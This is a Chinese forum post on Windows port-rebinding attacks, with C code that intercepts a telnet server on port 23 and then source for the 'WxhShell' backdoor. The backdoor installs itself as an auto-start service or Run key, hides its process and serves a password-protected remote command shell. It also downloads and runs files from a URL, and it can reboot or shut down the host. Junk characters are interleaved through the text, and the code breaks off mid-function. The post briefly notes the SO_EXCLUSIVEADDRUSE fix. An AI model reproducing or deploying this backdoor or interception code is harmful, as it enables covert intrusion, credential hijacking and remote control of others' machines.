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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "C.cU  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +h)1NX;o1  
zcy`8&{A<?  
  saddr.sin_family = AF_INET; y]okOEV0  
S l`F`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1 )H;}%[  
FvJkb!5*e_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); cCuK?3V4K  
rw$ =!iyO  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 N}ugI`:  
?{;7\1 [4  
  这意味着什么?意味着可以进行如下的攻击: IkuE|  
v@d]*TG  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <^w4+5sT/  
C"0vMUZ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) K8JshF Ie  
5^97#;Q;J"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,_UTeW6M  
1{<r~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +w2 `  
l*z+<c6$_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ydTd.`  
<c&Nm_)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Hva/C{Y  
Ftdx+\O_i&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %,+&Kl I  
z.~jqxA9  
  #include rhDiIO_  
  #include 4 'DEdx,&f  
  #include 'si{6t|  
  #include    ,B:r^(}0j  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2BO&OX|X  
  int main() vawS5b;  
  { _/J`v`}G  
  WORD wVersionRequested; 3=("vR`!  
  DWORD ret; h-]c   
  WSADATA wsaData; `n"PHur  
  BOOL val; i~LY  
  SOCKADDR_IN saddr; $=5kn>[_Z%  
  SOCKADDR_IN scaddr; e0M'\'J  
  int err; @Hl+]arUh  
  SOCKET s; G+t=+T2m  
  SOCKET sc; T|2v1Vj  
  int caddsize; FEi@MJJ\e  
  HANDLE mt; "vfpG7CG  
  DWORD tid;   ]wUH*\(y  
  wVersionRequested = MAKEWORD( 2, 2 ); s~m]>^?8MR  
  err = WSAStartup( wVersionRequested, &wsaData ); '?$R YU,  
  if ( err != 0 ) { k+zskfo  
  printf("error!WSAStartup failed!\n"); +*IRI/KUD  
  return -1;  6lL^/$]  
  } 8<{i=V*x4  
  saddr.sin_family = AF_INET; \ cdns;  
   T0@$6&b%\z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *mkVk7]c  
WFTwFm6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); NpxgF<G  
  saddr.sin_port = htons(23); s &f\gp1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w8bvqTQ  
  { r&_e3#]*  
  printf("error!socket failed!\n"); E"7[|-`e6  
  return -1; hlfdmh? /  
  } {TvB3QOsj  
  val = TRUE; ovZ!}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Mzw:c#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m8 6ztP)  
  { F#~*j  
  printf("error!setsockopt failed!\n"); ?1**@E0  
  return -1; 'A9Z ((  
  } >IipWTVo<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; lHFk~Qp[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 y@<&A~Cl^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 V}ls|B$Y  
t)mc~M9w  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \x|8  
  {  Cg8   
  ret=GetLastError(); }^ =f%EjV  
  printf("error!bind failed!\n"); >[ g=G  
  return -1; Os*s{2OvO  
  } qYQ vjp  
  listen(s,2); pq:[`   
  while(1) rl x6a@MiD  
  { QZ+G2$  
  caddsize = sizeof(scaddr); /I:&P Pff  
  //接受连接请求 o?^Rw*u0/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ByacSN  
  if(sc!=INVALID_SOCKET) z3{Cp:Mn  
  { HP\5gLVXY  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); v SY YetL  
  if(mt==NULL) 1--Ka& H  
  { _}cD_$D  
  printf("Thread Creat Failed!\n"); J06 D_'{  
  break; NieNfurG%  
  } i7e_~K  
  } ltKMvGEF  
  CloseHandle(mt); EeGTBVms  
  } _j*a5fsPU  
  closesocket(s); tns4e\  
  WSACleanup(); f@k.4aS  
  return 0; !="8ok+  
  }   y&V'GhW!dd  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,b:~Vpb1I  
  { ">5$;{;2r  
  SOCKET ss = (SOCKET)lpParam; {w@9\LsU  
  SOCKET sc; =ui3I_*)  
  unsigned char buf[4096]; 9ji`.&#  
  SOCKADDR_IN saddr; =mSu^q(l  
  long num; MY^o0N  
  DWORD val; ;0`IFtz  
  DWORD ret; >I',%v\?@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 F,V| In  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   wB:<ICm  
  saddr.sin_family = AF_INET; nX\mCO4T  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); l&5Tft  
  saddr.sin_port = htons(23); IG:2<G  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 13 %: 3W(  
  { !L<z(dV|(  
  printf("error!socket failed!\n"); Xpt9$=d  
  return -1; Xc4zUEO9  
  } <+<Nsza  
  val = 100; /(?s\}O  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) clk]JA (  
  {  n}- _fx  
  ret = GetLastError(); y.-Kqa~  
  return -1; c|K:oi,z  
  } 2%*\XPt)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2XEE/]^  
  { li{!Jp5]1b  
  ret = GetLastError(); xZY7X&C4  
  return -1; YI`BA`BQ8  
  } >x6)AH.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) QKhGEW~G  
  {  y(#6nG@S  
  printf("error!socket connect failed!\n"); @( 0O9L F  
  closesocket(sc); 4dm0:, G  
  closesocket(ss); ~,Yd.?.TI  
  return -1; #hk5z;J5  
  } :F9Oj1lM%  
  while(1) m/;fY>}3  
  { +(W7hK4ip  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ; rNX  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 c|Z6p{)V  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 GB;_!69I  
  num = recv(ss,buf,4096,0); p=^6V"'  
  if(num>0) t,Q"Pt?  
  send(sc,buf,num,0); qe22 kE#  
  else if(num==0) bR;.KC3C  
  break; 'Hs*  
  num = recv(sc,buf,4096,0); 4?bvJJuf)  
  if(num>0) *_P'>V#p  
  send(ss,buf,num,0); J#q^CWN3R  
  else if(num==0) ,gM:s}l!dJ  
  break; Az-!X!O*f  
  } ,6o tm  
  closesocket(ss); @sW!g;\T  
  closesocket(sc); PIdGis5G  
  return 0 ; < +k dL  
  } '4,IGxIq  
A-J#$B  
OJhMM-  
========================================================== )."dqq^ q  
~)zxIO!  
下边附上一个代码,,WXhSHELL r8!pk~R5]  
}8s&~f H  
========================================================== _g-0"a{-  
W Q9Q:F2  
#include "stdafx.h" gVy`||z  
4#:C t* f  
#include <stdio.h> EXwU{Hl  
#include <string.h> o wI:Qs_/4  
#include <windows.h> |68u4zK  
#include <winsock2.h> z@ `u$D$n  
#include <winsvc.h> EWY'E;0@5  
#include <urlmon.h> ZE= Yn~XM  
*xITMi  
#pragma comment (lib, "Ws2_32.lib") Xbrc_ V\_  
#pragma comment (lib, "urlmon.lib") WJ LqH<  
}%<_>b\  
#define MAX_USER   100 // 最大客户端连接数 9XhH*tBn7(  
#define BUF_SOCK   200 // sock buffer M%RH4%NZ0  
#define KEY_BUFF   255 // 输入 buffer &pR 8sySu  
TA qX f_  
#define REBOOT     0   // 重启 #?,"/Btq  
#define SHUTDOWN   1   // 关机 8EX?/33$  
3g5r}Ug  
#define DEF_PORT   5000 // 监听端口 0Wc_m;  
2m} bddS  
#define REG_LEN     16   // 注册表键长度 e,Y<$kPV  
#define SVC_LEN     80   // NT服务名长度 .}uri1k"@k  
Y9&na&vY?  
// 从dll定义API x34GRe!!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jw 5 U-zi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HL dHyK/S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nJ/}b/A{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rl&.|;5uH;  
)4.-6F7U?  
// wxhshell配置信息 ^FVmP d*1  
struct WSCFG { K4+|K:e  
  int ws_port;         // 监听端口 P2| +7D:  
  char ws_passstr[REG_LEN]; // 口令 SLUQFoz}  
  int ws_autoins;       // 安装标记, 1=yes 0=no BjA$^i|8  
  char ws_regname[REG_LEN]; // 注册表键名 SXN]${  
  char ws_svcname[REG_LEN]; // 服务名 @1<VvW=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0\s&;@xKk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^,)nuU y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }B!io-}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m(^N8k1K;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Plhakngj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @K}h4Yok  
%o{IQ4Lz#  
}; TCIbPs E  
Pl-9FLJ  
// default Wxhshell configuration "WO0 rh`  
struct WSCFG wscfg={DEF_PORT, )C mHC3  
    "xuhuanlingzhe", ]0MuXiR  
    1, Z",2db  
    "Wxhshell", DsD? &:  
    "Wxhshell", @`8a 3sL)  
            "WxhShell Service", ez)Ks`  
    "Wrsky Windows CmdShell Service", RCxwiZaf33  
    "Please Input Your Password: ", E H%hL5(  
  1, 5h Dy62PRr  
  "http://www.wrsky.com/wxhshell.exe", [N}QCy  
  "Wxhshell.exe" <"xqt7f  
    }; lC,~_Yb  
!IB}&m  
// 消息定义模块 +Z86Qz_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u8`S*i/)m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,'9R/7%s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4HX;9HPHE<  
char *msg_ws_ext="\n\rExit."; UI%4d3   
char *msg_ws_end="\n\rQuit."; !(viXV5  
char *msg_ws_boot="\n\rReboot..."; zMBGpqdP  
char *msg_ws_poff="\n\rShutdown..."; UO!} 0'  
char *msg_ws_down="\n\rSave to "; e$JCak=  
t}?-ao  
char *msg_ws_err="\n\rErr!"; bR~5 :A^  
char *msg_ws_ok="\n\rOK!";  Zy8tI#  
5zkj ;?s  
char ExeFile[MAX_PATH]; b& -8/t  
int nUser = 0; o~q.j_Sa  
HANDLE handles[MAX_USER]; -5|el3%)  
int OsIsNt; qDz[=6BF  
5J1a8RBR  
SERVICE_STATUS       serviceStatus; +Ar4X-A{y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [!8b jc]c  
81!;Wt(?  
// 函数声明 1<MJ3"60  
int Install(void); }gB^C3b6  
int Uninstall(void); ;ceg:-Zqo  
int DownloadFile(char *sURL, SOCKET wsh); ccp9nXv  
int Boot(int flag); V0&7MY*  
void HideProc(void); 01uj-!D$@  
int GetOsVer(void); &GvSgdttv  
int Wxhshell(SOCKET wsl); ~l{Qz0&  
void TalkWithClient(void *cs); W}}ZP];  
int CmdShell(SOCKET sock); {fX~%%c"  
int StartFromService(void); JG1q5j##]b  
int StartWxhshell(LPSTR lpCmdLine); s0/m qZ]s  
7Kb&BF|Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C8)Paop$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Aayd3Ph0%  
1$6 u  
// 数据结构和表定义 MpvGF7H  
SERVICE_TABLE_ENTRY DispatchTable[] = o@]n<ZYo  
{ _x#y   
{wscfg.ws_svcname, NTServiceMain}, bAuiMw7!  
{NULL, NULL} V[kn'QkWv  
}; 0uPcEpIA  
sG[qlzR=8  
// 自我安装 J$s p6 g>K  
int Install(void) 'zT7$ .L  
{ a|#pl!  
  char svExeFile[MAX_PATH]; 1 XJZuv,T:  
  HKEY key; [7[Qw]J  
  strcpy(svExeFile,ExeFile); [KbLEMrPba  
E}a.qM'  
// 如果是win9x系统,修改注册表设为自启动 4^4T#f2=e  
if(!OsIsNt) { B4+c3M\$V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ua &uR7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1/qD5 *`Y  
  RegCloseKey(key); 8ph1xQ'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pY&dw4V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?hR0 MnP  
  RegCloseKey(key); 8m `Y  
  return 0; aG4 ^xOD  
    } \Cin%S. C  
  } Tyb'p9  
} Cw kQhj?  
else { $=^}J 6  
/h`gQyGuY  
// 如果是NT以上系统,安装为系统服务 ]n<B a7Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E?|NYu#I6  
if (schSCManager!=0) X%fLV(  
{ S1'?"zAmd  
  SC_HANDLE schService = CreateService Yl$ @/xAa  
  ( l[m*csDk"  
  schSCManager, H1KXAy`&  
  wscfg.ws_svcname, Zy:q)'D=  
  wscfg.ws_svcdisp, K V?+9qa,  
  SERVICE_ALL_ACCESS, 9.( [,J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zcH"Kh&  
  SERVICE_AUTO_START, KM"?l<x0Y  
  SERVICE_ERROR_NORMAL, 7!m<d,]N  
  svExeFile, es.Y  
  NULL, >TawJ"q-6R  
  NULL, *8yC6|wL?  
  NULL, q D=b+\F  
  NULL, \_(0V"  
  NULL qNrLM!Rj  
  ); Fl{~#]  
  if (schService!=0) 7M5H vG#w%  
  { a\Gd;C ^`  
  CloseServiceHandle(schService); Nl%5OBm  
  CloseServiceHandle(schSCManager); 5INw#1~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +>[zn  
  strcat(svExeFile,wscfg.ws_svcname); ;'Z"CbS+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -4F}I3I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xcQ^y}JN  
  RegCloseKey(key); D(dV{^} 9  
  return 0; g}a+%Obb  
    } OPqhdqo  
  } ]iFW>N*a  
  CloseServiceHandle(schSCManager); XbFo#Pwk  
} @ptrF pSL  
} 9(vp`Z8B4  
EQZ/v gho  
return 1; ,nPnH1vb  
} n-qle5sj  
YZnFU( j  
// 自我卸载 -y?ve od#  
int Uninstall(void) 0QrRG$<4X  
{ R3)ccom  
  HKEY key; hjk]?MC  
,kYX|8SO  
if(!OsIsNt) { *UN*&DmF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^"vmIC.h  
  RegDeleteValue(key,wscfg.ws_regname); -qpM 6t  
  RegCloseKey(key); FJ?]|S.?,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <veypLi"R  
  RegDeleteValue(key,wscfg.ws_regname); T<y fpUzX  
  RegCloseKey(key); ~G6xk/+n-m  
  return 0; /6n"$qon6  
  } @$$ J}~{  
} gf4Hq&Rf  
} qvhG ^b0h  
else { Ep')@7^n  
$`t2SD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +#(GU9_i+M  
if (schSCManager!=0) )fS6H<*  
{ Yc3\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o@aXzF2  
  if (schService!=0) PG|Zu3[  
  { Py+ B 2G|  
  if(DeleteService(schService)!=0) { q$}J/w(,  
  CloseServiceHandle(schService); GU Mf}y  
  CloseServiceHandle(schSCManager); @j%@Z  
  return 0; G2@'S&2@s  
  } ]<q!pE;t  
  CloseServiceHandle(schService); [" ocZ? x  
  } I {%( G(  
  CloseServiceHandle(schSCManager); ~HtD]|7  
} Olt;^> MQ  
} j{=}?+M  
7.n\a@I/  
return 1; w&]$!g4  
} {%, 4P_m  
PtL8Kd0`C  
// 从指定url下载文件 .uN(44^+x  
int DownloadFile(char *sURL, SOCKET wsh) uLI;_,/:  
{ JZ-64OT  
  HRESULT hr; G[OJ <px  
char seps[]= "/"; qk0cf~ gz  
char *token; As tuM]  
char *file; XZ(<Mo\v  
char myURL[MAX_PATH]; 3qV\XC+  
char myFILE[MAX_PATH]; Z*NTF:6c  
']OT7)_  
strcpy(myURL,sURL); Hf30ve}  
  token=strtok(myURL,seps); uo|:n"v  
  while(token!=NULL) Y[>`#RhP  
  { ~rAcT6#  
    file=token; V^}$f3\B  
  token=strtok(NULL,seps); 6bf!v  
  } ~ySsv  
ZR{YpLFQ  
GetCurrentDirectory(MAX_PATH,myFILE); Lo}/k}3Sx  
strcat(myFILE, "\\"); _Ii=3Qsf  
strcat(myFILE, file); lC d\nE8G  
  send(wsh,myFILE,strlen(myFILE),0); a^O>i#i  
send(wsh,"...",3,0); ^ b=;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lx?v .:zl\  
  if(hr==S_OK) c+whpQ=01  
return 0; dWhqu68_  
else #AO}JP  
return 1; " Z dI~  
^R7X!tOq4  
} YXdo&'Q<qX  
?D_}',Wx  
// 系统电源模块 a,fcR<  
int Boot(int flag) 3 "Qg"\  
{ ?TmVLny  
  HANDLE hToken; %?S[{ 4A&  
  TOKEN_PRIVILEGES tkp; v+<4?]EJ  
sdgI ,  
  if(OsIsNt) { Az>r}*F Gr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3z"%ht~;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); : 'jVA  
    tkp.PrivilegeCount = 1; 87+u` ~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Dx9k%G)!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Zu2 $$_+L  
if(flag==REBOOT) { 5.kKg=a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rQTG-& ,  
  return 0; iI*qx+>f?  
} !y2yS/  
else { #TeAw<2U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'I2[} >mj2  
  return 0; ``rYzj_  
} <0jM07\<  
  } AthR|I|8  
  else { Ch~y;C&e+r  
if(flag==REBOOT) { [V5,1dmkI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yv)-QIC3  
  return 0; /7-FVqDx8  
} `)BZk[64  
else { 0AhUH| ]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0p\Kf(|E*6  
  return 0; IZd~Am3f  
} sLK$H|%>m  
} Kc>Rd  
\vW'\}  
return 1; {L M Q  
} /}5)[9GC  
%GMCyT  
// win9x进程隐藏模块 C MGDg}  
void HideProc(void) ;H?tcb*  
{ WO^]bR  
/6 y;fx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V[7D4r.j  
  if ( hKernel != NULL ) A\.{(,;kp  
  { x Y}.mP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gN<J0c)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Scmew  
    FreeLibrary(hKernel); ,z+n@sUR:  
  } #210 Yp#  
K_qA[n  
return; UHIXy#+o5  
} 8Qkwg]X  
OY!WEP$F-C  
// 获取操作系统版本 JbXi|OS/  
int GetOsVer(void) jd}~#:FUr*  
{ #V Z js`d6  
  OSVERSIONINFO winfo; ykxAm\O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I.%EYAai  
  GetVersionEx(&winfo); U1|{7.R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8N4E~*>C  
  return 1; Ir5E*op7D  
  else SzUH6|=.R=  
  return 0; xp]9Z]J1l  
} ?|n@ %'  
vOtILL6  
// 客户端句柄模块 nKjT&R  
int Wxhshell(SOCKET wsl) SJsbuLxR  
{ jRW@$ <mG  
  SOCKET wsh; \+C0Rv^^  
  struct sockaddr_in client; 5tY/d=\k  
  DWORD myID; ^<j =.E  
>h(GmR*xM  
  while(nUser<MAX_USER) * C*aH6*  
{ d"lk"R  
  int nSize=sizeof(client); :y_] JL;w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *nV"X0&  
  if(wsh==INVALID_SOCKET) return 1; OM@z5UP  
$ao7pvU6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); NezE]'}  
if(handles[nUser]==0) MK!Aq^Jz  
  closesocket(wsh); L#!m|_Mz  
else }%0X7'  
  nUser++; B}N1}i+  
  } r( zn1;zl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t&_X{!1X"w  
&(|x-OT  
  return 0; U8<C4  
} s/P+?8'9  
cSmy M~[  
// 关闭 socket iaRCV 6cl  
void CloseIt(SOCKET wsh) e&NJj:Ph*  
{ GX*9R>  
closesocket(wsh); r<Q0zKW!jN  
nUser--; pK0@H"$8  
ExitThread(0); S&c5Q*->[  
} " #w%sG^_  
+IlQZwm~  
// 客户端请求句柄  gq} c  
void TalkWithClient(void *cs) IL"N_ux~w~  
{ H,LJ$ py  
U~oGg$  
  SOCKET wsh=(SOCKET)cs; [Y^h)k{-$  
  char pwd[SVC_LEN]; }gd'pgN"t  
  char cmd[KEY_BUFF]; Z,8t!Y  
char chr[1]; ylQ9Su>o  
int i,j; A}_pJH  
p xW*kS  
  while (nUser < MAX_USER) { J.c yb  
@Z<Z//^k  
if(wscfg.ws_passstr) { XS.*CB_m_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F|8;Swb5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4"\%/kG  
  //ZeroMemory(pwd,KEY_BUFF); rshUF  
      i=0; 6LabFX@{&  
  while(i<SVC_LEN) { 8wn{W_5a  
LbR'nG{J  
  // 设置超时 +/hd;s$x  
  fd_set FdRead; (?"z!dgc  
  struct timeval TimeOut; B_XX)y%V  
  FD_ZERO(&FdRead); 6wZ)GLW[  
  FD_SET(wsh,&FdRead); =RQI5 nHdw  
  TimeOut.tv_sec=8; $\PU Y8  
  TimeOut.tv_usec=0; \(r$f!`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ; {v2s;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  #J  
*<X*)A{C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |n~,{=  
  pwd=chr[0]; Mu6DT p~k  
  if(chr[0]==0xd || chr[0]==0xa) { -]QP#_   
  pwd=0; er3`ITp:dp  
  break; CW]Th-xc  
  } @R(Op|9  
  i++; A>_,tt  
    } Y) l=r^Ap>  
J :KU~`r  
  // 如果是非法用户,关闭 socket q)J5tBfJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1Afy$It/{  
} j}6h}E&dEr  
V~do6[(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tjx|;m7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z EvK  
)g KC}_h=  
while(1) { g2A#BMe'.$  
>B;KpO"+m  
  ZeroMemory(cmd,KEY_BUFF); ]kF1~kXBe  
+ f:!9)C  
      // 自动支持客户端 telnet标准   QXgfjo  
  j=0; u^W!$OfZpp  
  while(j<KEY_BUFF) { ^sqzlF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M0`1o p1  
  cmd[j]=chr[0]; p 8Z;QH*  
  if(chr[0]==0xa || chr[0]==0xd) { #L57d  
  cmd[j]=0; &2I8!Ia  
  break; DgB;6Wl  
  } ,qNbo 11  
  j++; </aQ  
    } "F4 3q8P  
?-8DS5  
  // 下载文件 h.NCG96S  
  if(strstr(cmd,"http://")) { po.QM/b \  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D]N)  
  if(DownloadFile(cmd,wsh)) ?TI]0)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U} w@,6  
  else s_e*jM1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^)C#  
  } ew]G@66  
  else { 7nP{a"4_  
W_,7hvE?"H  
    switch(cmd[0]) { KL$>j/qT  
  W>: MK-_ J  
  // 帮助 c c/nzB  
  case '?': { [70 5[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1/K1e$r  
    break; 2<:dA >1  
  } !YZKa-  
  // 安装 ^Y5I OX:  
  case 'i': { MH0wpHz  
    if(Install()) qVH.I6)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (]PH2<3t  
    else ;' H\s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [JV?Mdzu  
    break; 4t3>`x 7  
    } s!>9od6^  
  // 卸载 W=OryEV?  
  case 'r': { (@;^uVJP  
    if(Uninstall()) < RtyW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m9+?>/R  
    else sf:IA%.4t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bm4Bq>*=U  
    break; kE|x'(x  
    } T8Q_JQ  
  // 显示 wxhshell 所在路径 Hi*|f!,H?  
  case 'p': { '?g&);4)k-  
    char svExeFile[MAX_PATH]; 0Ng?U+6  
    strcpy(svExeFile,"\n\r"); M^>l>?#rl  
      strcat(svExeFile,ExeFile); lcgG5/82  
        send(wsh,svExeFile,strlen(svExeFile),0); 8si{|*;hL  
    break; VT=gb/W6)a  
    } PsD)]V9%:  
  // 重启 0rm(i*Q  
  case 'b': { 0WYu5|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '2|P-/jU  
    if(Boot(REBOOT)) Mc!LC .8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (U_HX2f  
    else { VJ_fA}U  
    closesocket(wsh); ,KU%"{6  
    ExitThread(0); 'hV(1Mw  
    } 62y:i  
    break; R0LWuE%eD  
